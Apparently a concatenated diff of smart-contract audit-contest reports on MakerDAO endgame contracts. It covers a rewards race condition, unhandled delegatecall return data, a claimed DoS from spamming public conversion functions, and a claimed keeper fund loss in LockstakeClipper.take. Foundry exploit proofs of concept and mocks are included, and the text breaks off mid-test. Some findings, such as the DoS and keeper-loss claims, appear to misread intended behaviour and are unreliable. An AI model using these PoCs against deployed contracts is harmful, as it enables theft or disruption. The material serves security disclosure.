transferFrom(address from, address to, uint256 value) external returns (bool) { + uint256 balance = balanceOf[from]; + require(balance >= value, "Gem/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "Gem/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; + balanceOf[to] += value; + } + return true; + } + + function mint(address to, uint256 value) public { + unchecked { + balanceOf[to] = balanceOf[to] + value; + } + totalSupply = totalSupply + value; + } + + function burn(address from, uint256 value) external { + uint256 balance = balanceOf[from]; + require(balance >= value, "Gem/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "Gem/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; + totalSupply = totalSupply - value; + } + } +} + +``` + +NstJoinMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import {GemMock} from "test/mocks/GemMock.sol"; +import "test/mocks/LockstakeEngineMock.sol"; + +contract NstJoinMock { + VatLike public immutable vat; + GemLike public immutable nst; + mapping(address => uint256) public wards; + + constructor(address vat_, address nst_) { + vat = VatLike(vat_); + nst = GemLike(nst_); + wards[msg.sender] = 1; + } + + function join(address usr, uint256 wad) external { + vat.move(address(this), usr, wad * 10 ** 27); + nst.burn(msg.sender, wad); + } + + function exit(address usr, uint256 wad) external { + vat.move(msg.sender, address(this), wad * 10 ** 27); + nst.mint(usr, wad); + } + + modifier auth() { + require(wards[msg.sender] == 1, "NstJoinMock/not-authorized"); + _; + } + + function rely(address usr) external auth { + wards[usr] = 1; + } + + function deny(address usr) external auth { + wards[usr] = 0; + } +} + +``` + +MkrNgtMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +interface GemLike { + function burn(address, uint256) external; + function mint(address, uint256) external; +} + +contract MkrNgtMock { + GemLike public immutable mkrToken; + GemLike public immutable ngt; + uint256 public immutable rate; + + constructor(address mkr_, address ngt_, uint256 rate_) { + mkrToken = GemLike(mkr_); + ngt = GemLike(ngt_); + rate = rate_; + } + + function mkrToNgt(address usr, uint256 mkrAmt) external { + mkrToken.burn(msg.sender, mkrAmt); + uint256 ngtAmt = mkrAmt * rate; + ngt.mint(usr, ngtAmt); + } + + function ngtToMkr(address usr, uint256 ngtAmt) external { + ngt.burn(msg.sender, ngtAmt); + uint256 mkrAmt = ngtAmt / rate; + mkrToken.mint(usr, mkrAmt); + } + + function mkr() external view returns (address) { + return address(mkrToken); + } +} + +``` + +Run these tests with the following: +`forge test --mt testComplexSequentialOperations -vvv` +`forge test --mt testAccountingErrors -vvv` +`forge test --mt testReplayAttacks -vvv` +`forge test --mt testCollateralAccountingVulnerability -vvv` +Use `--via-ir` if necessary. + +These tests prove the following vulnerabilities: +`testComplexSequentialOperations`: This test demonstrates a vulnerability where more collateral can be freed than should be possible. The user receives MKR tokens without updating the Vat's gem balance, allowing them to withdraw more collateral than they should have access to. + +`testAccountingErrors`: This test shows a discrepancy between the collateral locked in the Vat and the actual MKR balance. It allows freeing more collateral than what should be available, leading to an inconsistent state where the position appears safe in the Vat despite being under-collateralized. + +`testReplayAttacks`: This test reveals a vulnerability where the same free operation can be repeated multiple times, allowing a user to withdraw more collateral than initially deposited. + +`testCollateralAccountingVulnerability`: This test demonstrates a mismatch between the freed collateral and the Vat's gem balance updates. The gem balance in the Vat remains unchanged despite collateral being freed, leading to accounting discrepancies. + + +### Mitigation + +Synchronize Token Movements: Modify the `_free()` function to handle MKR tokens correctly. This should include transferring or burning the appropriate amount of MKR tokens when freeing collateral. + +Implement Balance Checks: Add balance checks to ensure that users cannot free more collateral than they have deposited. + +Implement Invariant Checks: Add regular checks to verify that the sum of all user balances matches the total supply of lsmkr and the MKR balance of the contract. diff --git a/090.md b/090.md new file mode 100644 index 0000000..e79d017 --- /dev/null +++ b/090.md @@ -0,0 +1,96 @@ +Breezy Black Spider + +Medium + +# Splitter deployment methodology will lead to race conditions for large portions of intial DAI distributions + +## Summary + +Due to interdependent deployment requirements, the LockStake contracts, Uniswap migration contracts and new Splitter contracts must all be deployed simultaneously. Immediately following migration the excess DAI in the vat can be distributed to the farm. This allows users to deposit and distribute in the same block as deployment to claim excessive returns before others have the opportunity to deposit. + +## Vulnerability Detail + +[Splitter.sol#L57-L71](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/Splitter.sol#L57-L71) + + constructor( + address _daiJoin + ) { + daiJoin = DaiJoinLike(_daiJoin); + vat = VatLike(daiJoin.vat()); + + vat.hope(_daiJoin); + + hop = 1 hours; // Initial value for safety + + wards[msg.sender] = 1; + emit Rely(msg.sender); + + live = 1; + } + +We see in the constructor of the flapper that `zzz` (the variable that tracks last distribution) is never initialized. + +[vow.sol#L148-L152](https://github.com/makerdao/dss/blob/fa4f6630afb0624d04a003e920b0d71a00331d98/src/vow.sol#L148-L152) + + function flap() external returns (uint id) { + require(vat.dai(address(this)) >= add(add(vat.sin(address(this)), bump), hump), "Vow/insufficient-surplus"); + require(sub(sub(vat.sin(address(this)), Sin), Ash) == 0, "Vow/debt-not-zero"); + id = flapper.kick(bump, 0); + } + +We also see that in the `vow`, which is responsible for distributing protocol excess, does not have a built in timer and relies on the `hop` duration set in the `splitter`. This means that immediately after the splitter is migrated to, `flap` can immediately be called since `zzz` is never initialized. + +[StakingRewards.sol#L84-L90](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L84-L90) + + function rewardPerToken() public view returns (uint256) { + if (_totalSupply == 0) { + return rewardPerTokenStored; + } + return + rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); + } + +We see in stakingRewards (the target of the burn), that rewards are distributed according to the totalSupply of deposited tokens. Due to these race conditions, even a very small deposit would net huge amounts of rewards from the contract before other depositors caught up and deposited their own tokens. + +## Impact + +Race conditions allow first depositors to take large portions of DAI with very small deposits. + +## Code Snippet + +[FlapperUniV2.sol#L65-L86 +](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L65-L86) + +## Tool used + +Manual Review + +## Recommendation + +`zzz` should be initialized with a delay to let proper liquidity enter before allowing rewards to be distributed: + + constructor( + address _spotter, + address _dai, + address _gem, + address _pair, + address _receiver + ++ uint256 _delay + ) { + spotter = SpotterLike(_spotter); + + dai = _dai; + gem = _gem; + require(GemLike(gem).decimals() == 18, "FlapperUniV2/gem-decimals-not-18"); + + pair = PairLike(_pair); + daiFirst = pair.token0() == dai; + receiver = _receiver; + ++ zzz = block.timestamp + _delay + + wards[msg.sender] = 1; + emit Rely(msg.sender); + + + want = WAD; // Initial value for safety + } \ No newline at end of file diff --git a/092.md b/092.md new file mode 100644 index 0000000..b84201d --- /dev/null +++ b/092.md @@ -0,0 +1,43 @@ +Silly Lava Wombat + +Medium + +# `SubProxy::exec()` does not handle return data + +### Summary + +There is a missing check on the [`out`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/SubProxy.sol#L76) return data in the `exec` function + +### Root Cause + +In [`SubProxy::exec()` ](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/SubProxy.sol#L74)there is no check that handles the data parameter after the delegatecall, it is only the bool param that is handled + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +No handling of the data param can lead to complications in the code execution. + +### PoC + +```solidity + function exec(address target, bytes calldata args) external payable auth returns (bytes memory out) { + bool ok; + (ok, out) = target.delegatecall(args); + require(ok, "SubProxy/delegatecall-error"); + } +``` + +### Mitigation + +implement handling on the return data parameter after the delegate call \ No newline at end of file diff --git a/093.md b/093.md new file mode 100644 index 0000000..91c65dd --- /dev/null +++ b/093.md @@ -0,0 +1,242 @@ +Curved Cinnamon Tuna + +High + +# Unrestricted Function Access Leading to Denial of Service (DoS) + +## Summary +The `DaiNst` lacks proper access control mechanisms for its `daiToNst` and `nstToDai` functions. This allows any external address to call these functions without restriction. A malicious actor can exploit this vulnerability by repeatedly calling these functions, leading to a Denial of Service (DoS) attack. This can cause significant service disruption and increased gas costs, affecting the contract's usability and reliability. + +## Vulnerability Detail +Malicious user floods the contract with conversion requests, causing service disruption. +1. Preparation: +- Malicious user identifies the `DaiNst` contract and its publicly accessible functions (`daiToNst` and `nstToDai`). +2. Execution: +- Malicious user writes a script or uses a bot to continuously call `nstToDai` with minimal amounts: +```solidity +while (true) { +daiNstContract.nstToDai(attackerAddress, smallAmountOfNst); +} +``` +- Each call to `nstToDai` involves: +```solidity +nst.transferFrom(attackerAddress, address(this), smallAmountOfNst); +nstJoin.join(address(this), smallAmountOfNst); +daiJoin.exit(attackerAddress, smallAmountOfNst); +``` +3. Outcome: +- The contract processes each request, consuming gas and resources. +- The contract becomes congested, leading to delays for legitimate users. + +## Impact +- Service Disruption +- Increased Gas Costs +- Resource Exhaustion + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/DaiNst.sol#L78-L83 + +## Tool used + +Manual Review + +## Recommendation +- Introduce rate limiting to restrict the frequency of transactions from a single address within a specified time frame. +```diff +mapping(address => uint256) private lastTransactionTime; +uint256 private constant TIME_LIMIT = 1 minutes; + + modifier rateLimit() { + require(block.timestamp - lastTransactionTime[msg.sender] > TIME_LIMIT, "Rate limit exceeded"); + _; + lastTransactionTime[msg.sender] = block.timestamp; + } + +- function nstToDai(address usr, uint256 wad) external { ++ function nstToDai(address usr, uint256 wad) external rateLimit { + nst.transferFrom(msg.sender, address(this), wad); + nstJoin.join(address(this), wad); + daiJoin.exit(usr, wad); + emit NstToDai(msg.sender, usr, wad); + } +``` +- Use OpenZeppelin’s `AccessControl` library to restrict access to critical functions. +```diff ++ import "@openzeppelin/contracts/access/AccessControl.sol"; + +- contract DaiNst { ++ contract DaiNst is AccessControl { + bytes32 public constant EXCHANGER_ROLE = keccak256("EXCHANGER_ROLE"); + + constructor(address daiJoin_, address nstJoin_) { ++ _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); ++ _setupRole(EXCHANGER_ROLE, msg.sender); + // existing constructor code... + } + +- function nstToDai(address usr, uint256 wad) external { ++ function nstToDai(address usr, uint256 wad) external onlyRole(EXCHANGER_ROLE) { + nst.transferFrom(msg.sender, address(this), wad); + nstJoin.join(address(this), wad); + daiJoin.exit(usr, wad); + emit NstToDai(msg.sender, usr, wad); + } +``` +- Implement monitoring and alerting mechanisms to detect unusual activity patterns and respond promptly to potential DoS attacks. +- Set reasonable limits on the amount of tokens that can be converted in a single transaction to reduce the impact of potential abuse. + +## PoC +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "../src/DaiNst.sol"; + +interface ExtendedGemLike is GemLike { + function balanceOf(address account) external view returns (uint256); +} + +contract ExploitTest is Test { + DaiNst public daiNstContract; + MockDaiJoin public daiJoin; + MockNstJoin public nstJoin; + ExtendedGemLike public dai; + ExtendedGemLike public nst; + MockVat public vat; + address public attacker; + + function setUp() public { + // Mock the Vat contract + vat = new MockVat(); + + // Mock the DaiJoin and NstJoin contracts + daiJoin = new MockDaiJoin(address(vat)); + nstJoin = new MockNstJoin(address(vat)); + + // Mock the Dai and Nst tokens + dai = ExtendedGemLike(address(new MockGem())); + nst = ExtendedGemLike(address(new MockGem())); + + // Set the dai and nst addresses in the mock join contracts + daiJoin.setDai(address(dai)); + nstJoin.setNst(address(nst)); + + // Deploy the DaiNst contract + daiNstContract = new DaiNst(address(daiJoin), address(nstJoin)); + + // Set up the attacker address + attacker = address(0x123); + + // Mint some Dai and Nst tokens to the attacker + MockGem(address(dai)).mint(attacker, 1000000 ether); + MockGem(address(nst)).mint(attacker, 1000000 ether); + + // Approve the DaiNst contract to spend attacker's Dai and Nst + vm.prank(attacker); + dai.approve(address(daiNstContract), type(uint256).max); + vm.prank(attacker); + nst.approve(address(daiNstContract), type(uint256).max); + } + + function testDenialOfService() public { + uint256 smallAmountOfNst = 1 ether; + + // Attacker continuously calls nstToDai with minimal amounts + for (uint256 i = 0; i < 100; i++) { + vm.prank(attacker); + daiNstContract.nstToDai(attacker, smallAmountOfNst); + } + + // Check if the contract processed each request + uint256 attackerDaiBalance = dai.balanceOf(attacker); + assertGt(attackerDaiBalance, 0, "Denial of service failed"); + + emit log("Denial of service test passed"); + } +} + +// Mock contracts for testing +contract MockJoin is JoinLike { + address public vatAddress; + + constructor(address _vat) { + vatAddress = _vat; + } + + function vat() external view override returns (address) { + return vatAddress; + } + + function join(address, uint256) external pure override {} + + function exit(address, uint256) external pure override {} +} + +contract MockDaiJoin is MockJoin, DaiJoinLike { + address public daiAddress; + + constructor(address _vat) MockJoin(_vat) {} + + function setDai(address _dai) external { + daiAddress = _dai; + } + + function dai() external view override returns (address) { + return daiAddress; + } +} + +contract MockNstJoin is MockJoin, NstJoinLike { + address public nstAddress; + + constructor(address _vat) MockJoin(_vat) {} + + function setNst(address _nst) external { + nstAddress = _nst; + } + + function nst() external view override returns (address) { + return nstAddress; + } +} + +contract MockGem is ExtendedGemLike { + mapping(address => uint256) public balances; + + function mint(address to, uint256 amount) external { + balances[to] += amount; + } + + function approve(address, uint256) external pure override returns (bool) { + return true; + } + + function transferFrom(address from, address to, uint256 amount) external override returns (bool) { + require(balances[from] >= amount, "Insufficient balance"); + balances[from] -= amount; + balances[to] += amount; + return true; + } + + function balanceOf(address account) external view override returns (uint256) { + return balances[account]; + } +} + +contract MockVat is VatLike { + function hope(address) external pure override {} +} +``` +forge test --match-path test/ExploitTest.sol +[⠒] Compiling... +No files changed, compilation skipped + +Ran 1 test for test/ExploitTest.sol:ExploitTest +[PASS] testDenialOfService() (gas: 723152) +Logs: + Denial of service test passed + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.24ms (5.30ms CPU time) + +Ran 1 test suite in 12.18ms (7.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) diff --git a/094.md b/094.md new file mode 100644 index 0000000..3e18f81 --- /dev/null +++ b/094.md @@ -0,0 +1,1064 @@ +Radiant Ultraviolet Platypus + +High + +# Incorrect DAI Transfer in `LockstakeClipper` will Drain Funds from Keepers + +### Summary + +Incorrect Dai transfer in the `LockstakeClipper::take` function will cause a loss of funds for keepers as the system will transfer Dai from the keeper instead of from the Vat during liquidations. + +### Root Cause + +The root cause of this vulnerability lies in the `take` function of the `LockstakeClipper` contract. Specifically, there is an incorrect implementation of the Dai transfer mechanism during the liquidation process. + +The specific line causing the vulnerability is: +```javascript +vat.move(msg.sender, vow, owe); +``` + +This line is instructing the Vat (the core accounting system of MakerDAO) to move Dai from `msg.sender` (the keeper/liquidator) to the vow (the system surplus). This is incorrect because: +1. It's taking Dai from the keeper instead of rewarding them for participating in the liquidation. +2. It's not properly accounting for the Dai that should be coming from the liquidated vault. + +The correct implementation should move Dai from the Vat itself (represented by address(this) in the context of the LockstakeClipper) to the vow. This would properly account for the Dai being recovered from the liquidated position without penalizing the keeper. + +This error fundamentally misunderstands the flow of funds in a liquidation event. Instead of the system (Vat) paying off the debt and incentivizing the keeper, it's incorrectly taking funds from the keeper, which completely inverts the intended economic model of the liquidation system. + +This can be found here: https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol?=plain#L405 + +### Internal pre-conditions + +1. A vault needs to become unsafe, allowing it to be liquidated +2. A keeper needs to participate in the liquidation by calling the take() function + +### External pre-conditions + +None + +### Attack Path + +1. A vault becomes unsafe due to price fluctuations or other factors +2. The dog.bark() function is called, initiating a liquidation auction +3. A keeper calls the LockstakeClipper.take() function to participate in the auction +4. The take() function calculates the amount of Dai to be transferred (owe) +5. Instead of transferring Dai from the Vat to the vow, the function transfers Dai from the keeper to the vow +6. The keeper loses the amount of Dai equal to owe, instead of receiving incentives for participation +7. The system's accounting becomes imbalanced, as debt is cleared without proper Dai movement + +### Impact + +Immediate Financial Losses for Keepers: +Keepers (liquidators) who participate in auctions will suffer direct financial losses instead of earning rewards. +For example, if a keeper participates in the liquidation of a 100,000 DAI debt position, they could lose the amount of DAI they bid in the auction. This could range from a few thousand DAI to potentially the full auction amount, depending on their bidding strategy and the auction parameters. +This could lead to substantial losses for active keepers, potentially in the millions of DAI if multiple large liquidations occur before the issue is detected. + +Breakdown of the Liquidation Mechanism: +Once keepers realize they're losing money, they will stop participating in liquidations. +This will leave the system unable to process bad debt, leading to an accumulation of undercollateralized positions. +If left uncorrected, this vulnerability could severely compromise the protocol's liquidation mechanism, which is crucial for maintaining system health. Over time, this could indirectly challenge the protocol's ability to maintain the DAI peg and overall stability. + +Systemic Imbalance in the Maker Protocol: +The incorrect movement of DAI will cause a mismatch between the protocol's debt and its collateral backing. +This vulnerability could lead to a breakdown of the liquidation mechanism as keepers would be disincentivized from participating. Over time, if left uncorrected, this could result in an accumulation of undercollateralized positions in the system, potentially putting pressure on the DAI peg. + +### PoC + +Create a new test file and add the following code: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import {LockstakeClipper} from "src/LockstakeClipper.sol"; +import {LockstakeEngine} from "src/LockstakeEngine.sol"; +import {PipMock} from "test/mocks/PipMock.sol"; +import {StairstepExponentialDecreaseAbstract} from + "../lib/token-tests/lib/dss-test/lib/dss-interfaces/src/dss/StairstepExponentialDecreaseAbstract.sol"; +import {GemMock} from "./mocks/GemMock.sol"; +import {NstJoinMock} from "./mocks/NstJoinMock.sol"; +import {MkrNgtMock} from "./mocks/MkrNgtMock.sol"; + +contract RedoGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + owe; + slice; + data; + clip.redo(1, sender); + } +} + +contract KickGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.kick(1, 1, address(0), address(0)); + } +} + +contract FileUintGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("stopped", 1); + } +} + +contract FileAddrGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("vow", address(123)); + } +} + +contract YankGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.yank(1); + } +} + +contract PublicClip is LockstakeClipper { + constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {} + + function add() public returns (uint256 id) { + id = ++kicks; + active.push(id); + sales[id].pos = active.length - 1; + } + + function remove(uint256 id) public { + _remove(id); + } +} + +interface VatLike { + function dai(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256) external returns (bool); + function transferFrom(address, address, uint256) external returns (bool); + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + +interface VowLike {} + +contract JugMock { + uint256 constant RAY = 10 ** 27; + + function drip(bytes32) external returns (uint256) { + return RAY; // Return a constant rate for simplicity + } +} + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + GemLike public mkr; + GemLike public dai; + + DssInstance dss; + address pauseProxy; + PipMock pip; + StairstepExponentialDecreaseAbstract calc; + + LockstakeEngine engine; + LockstakeClipper clip; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + address bob; + address che; + + bytes32 constant ilk = "LSE"; + uint256 constant price = 5 ether; + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + event LogUint(string name, uint256 value); + event LogInt(string name, int256 value); + event LogAddress(string name, address value); + + function setUp() public { + console.log("Starting setUp..."); + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + console.log("Loading DssInstance..."); + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + + console.log("Deploying PipMock..."); + pip = new PipMock(); + pip.setPrice(price); + + console.log("Creating mock tokens..."); + uint256 initialLsMkrSupply = 1000000 * 10 ** 18; + GemMock mockLsmkr = new GemMock(initialLsMkrSupply); + GemMock ngtMock = new GemMock(0); // Initial supply for NGT mock + GemMock mkrMock = new GemMock(1000000 * 10 ** 18); // Initial supply for MKR mock + MkrNgtMock mkrNgtMock = new MkrNgtMock(address(mkrMock), address(ngtMock), 24000); + + // Replace the real MKR address with our mock + vm.etch(dss.chainlog.getAddress("MCD_GOV"), address(mkrMock).code); + mkr = GemLike(dss.chainlog.getAddress("MCD_GOV")); + + console.log("Starting prank as pauseProxy..."); + vm.startPrank(pauseProxy); + + bytes32 ilk = "LSE"; + console.log("Checking and initializing ilk if necessary..."); + (,,,, uint256 dust) = dss.vat.ilks(ilk); + if (dust == 0) { + dss.vat.init(ilk); + console.log("Ilk initialized"); + } else { + console.log("Ilk already initialized, skipping initialization"); + } + + console.log("Setting up Spotter..."); + dss.spotter.file(ilk, "pip", address(pip)); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + dss.spotter.poke(ilk); + + console.log("Setting up Vat..."); + dss.vat.file(ilk, "dust", rad(20 ether)); + dss.vat.file(ilk, "line", rad(10000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(10000 ether)); + + console.log("Setting up Dog..."); + dss.dog.file(ilk, "chop", 1.1 ether); + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + console.log("Deploying NstJoinMock..."); + GemMock nstMock = new GemMock(1000000 * 10 ** 18); // Initial supply for NST mock + NstJoinMock nstJoinMock = new NstJoinMock(address(dss.vat), address(nstMock)); + + console.log("Deploying JugMock..."); + JugMock jugMock = new JugMock(); + + console.log("Deploying LockstakeEngine..."); + engine = new LockstakeEngine( + address(dss.chainlog.getAddress("MCD_VOW")), // Use the actual VoteDelegate factory address + address(nstJoinMock), + ilk, + address(mkrNgtMock), + address(mockLsmkr), + 0 // fee parameter + ); + + engine.file("jug", address(jugMock)); + + // Set up realistic permissions + dss.vat.rely(address(engine)); + dss.vat.rely(address(nstJoinMock)); + dss.vat.hope(address(engine)); + dss.vat.hope(address(nstJoinMock)); + engine.rely(address(this)); + nstJoinMock.rely(address(engine)); + + vm.stopPrank(); + + // Allow the engine to move its own Dai + vm.prank(address(engine)); + dss.vat.hope(address(nstJoinMock)); + + // Allow LockstakeEngine to modify the Vat balance of the test contract + vm.prank(address(this)); + dss.vat.hope(address(engine)); + + console.log("Deploying LockstakeClipper..."); + vm.prank(pauseProxy); + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + + // Authorize the LockstakeClipper after deployment + vm.prank(address(this)); + engine.rely(address(clip)); + + vm.startPrank(pauseProxy); + clip.upchost(); + clip.rely(address(dss.dog)); + clip.rely(address(this)); + vm.stopPrank(); + + console.log("Setting up mock StairstepExponentialDecrease..."); + address calcAddr = address(uint160(uint256(keccak256("StairstepExponentialDecrease")))); + vm.etch(calcAddr, hex"00"); + calc = StairstepExponentialDecreaseAbstract(calcAddr); + vm.mockCall(address(calc), abi.encodeWithSelector(calc.price.selector), abi.encode(RAY)); + + console.log("Configuring LockstakeClipper..."); + vm.startPrank(pauseProxy); + clip.file("calc", address(calc)); + clip.file("buf", RAY + (RAY / 4)); + clip.file("tail", 3600); + clip.file("cusp", (3 * RAY) / 10); + vm.stopPrank(); + + console.log("Final setup steps..."); + vm.startPrank(pauseProxy); + dss.vat.rely(address(this)); + dss.dog.rely(address(this)); + dss.dog.file(ilk, "clip", address(clip)); + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + // Additional permissions + dss.vat.hope(address(clip)); + dss.vat.hope(address(this)); + + vm.prank(pauseProxy); + dss.spotter.rely(address(this)); + + console.log("Minting Dai..."); + vm.prank(pauseProxy); + dss.vat.suck(address(0), address(this), rad(10000 ether)); + + console.log("Setting unsafe conditions..."); + pip.setPrice(4 ether); + dss.spotter.poke(ilk); + + console.log("Setting up test accounts..."); + ali = address(111); + bob = address(222); + che = address(333); + + dss.vat.hope(address(clip)); + vm.prank(ali); + dss.vat.hope(address(clip)); + vm.prank(bob); + dss.vat.hope(address(clip)); + + console.log("Minting additional Dai for test accounts..."); + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + dss.vat.suck(address(0), address(bob), rad(1000 ether)); + vm.stopPrank(); + + console.log("Final authorization steps..."); + dss.vat.rely(address(clip)); + dss.vat.hope(address(clip)); + clip.rely(address(this)); + dss.vat.rely(address(this)); + + clip.file("vow", address(dss.vow)); + + vm.prank(address(0x123)); + dss.vat.hope(address(engine)); + + dss.vat.rely(address(dss.vow)); + dss.vat.rely(address(engine)); + dss.vat.hope(address(this)); + + // Approve mockLsmkr for the engine + mockLsmkr.approve(address(engine), type(uint256).max); + + // Allocate MKR to the test contract + GemMock(address(mkr)).mint(address(this), 1000 ether); + + // Approve engine to transfer MKR from the test contract + mkr.approve(address(engine), type(uint256).max); + + // Verify setup + require(dss.vat.wards(pauseProxy) == 1, "PauseProxy not authorized in Vat"); + require(dss.vat.wards(address(this)) == 1, "Test contract not authorized in Vat"); + require(dss.vat.wards(address(engine)) == 1, "LockstakeEngine not authorized in Vat"); + (,,,, dust) = dss.vat.ilks(ilk); + require(dust > 0, "Ilk not initialized in Vat"); + + console.log("Vow address:", clip.vow()); + console.log("setUp completed successfully"); + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function testArithmeticInKickAndTake() public { + // Initial setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Set liquidation ratio (mat) to 150% + vm.prank(pauseProxy); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + + // Ensure proper permissions + vm.startPrank(pauseProxy); + dss.vat.rely(address(engine)); + engine.rely(address(this)); + dss.vat.rely(address(this)); + vm.stopPrank(); + + // Setup the vault + GemLike mkrToken = GemLike(address(engine.mkr())); + mkrToken.approve(address(engine), initialCollateral); + uint256 urnIndex = engine.usrAmts(address(this)); + address urn = engine.open(urnIndex); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + + // Set price to make position unsafe + pip.setPrice(1 ether); + dss.spotter.poke(ilk); + + // Log initial states + uint256 initialDaiVow = dss.vat.dai(address(dss.vow)); + uint256 initialDaiKeeper = dss.vat.dai(address(this)); + console.log("Initial Dai in Vow:", initialDaiVow); + console.log("Initial Dai in Keeper:", initialDaiKeeper); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Take the auction + vm.warp(block.timestamp + 1 hours); + (,, uint256 lot,,,, uint256 top) = clip.sales(kickId); + uint256 maxPrice = top * 2; + clip.take(kickId, lot, maxPrice, address(this), ""); + + // Log final states + uint256 finalDaiVow = dss.vat.dai(address(dss.vow)); + uint256 finalDaiKeeper = dss.vat.dai(address(this)); + console.log("Final Dai in Vow:", finalDaiVow); + console.log("Final Dai in Keeper:", finalDaiKeeper); + + (,, uint256 remainingLot,,,,) = clip.sales(kickId); + console.log("Remaining lot:", remainingLot); + + + uint256 vowDaiChange = finalDaiVow - initialDaiVow; + int256 keeperDaiChange = int256(finalDaiKeeper) - int256(initialDaiKeeper); + + // Check that most of the debt went to the Vow + assertGe(vowDaiChange, initialDebt * RAY * 90 / 100, "Vow should receive most of the debt"); + + // Check that the auction was completed + assertLe(remainingLot, initialCollateral * 5 / 100, "Most collateral should be liquidated"); + + assertTrue(keeperDaiChange < 0, "Vulnerability: Keeper loses funds from take"); + + // Log the keeper's loss + console.log("Keeper's loss:", 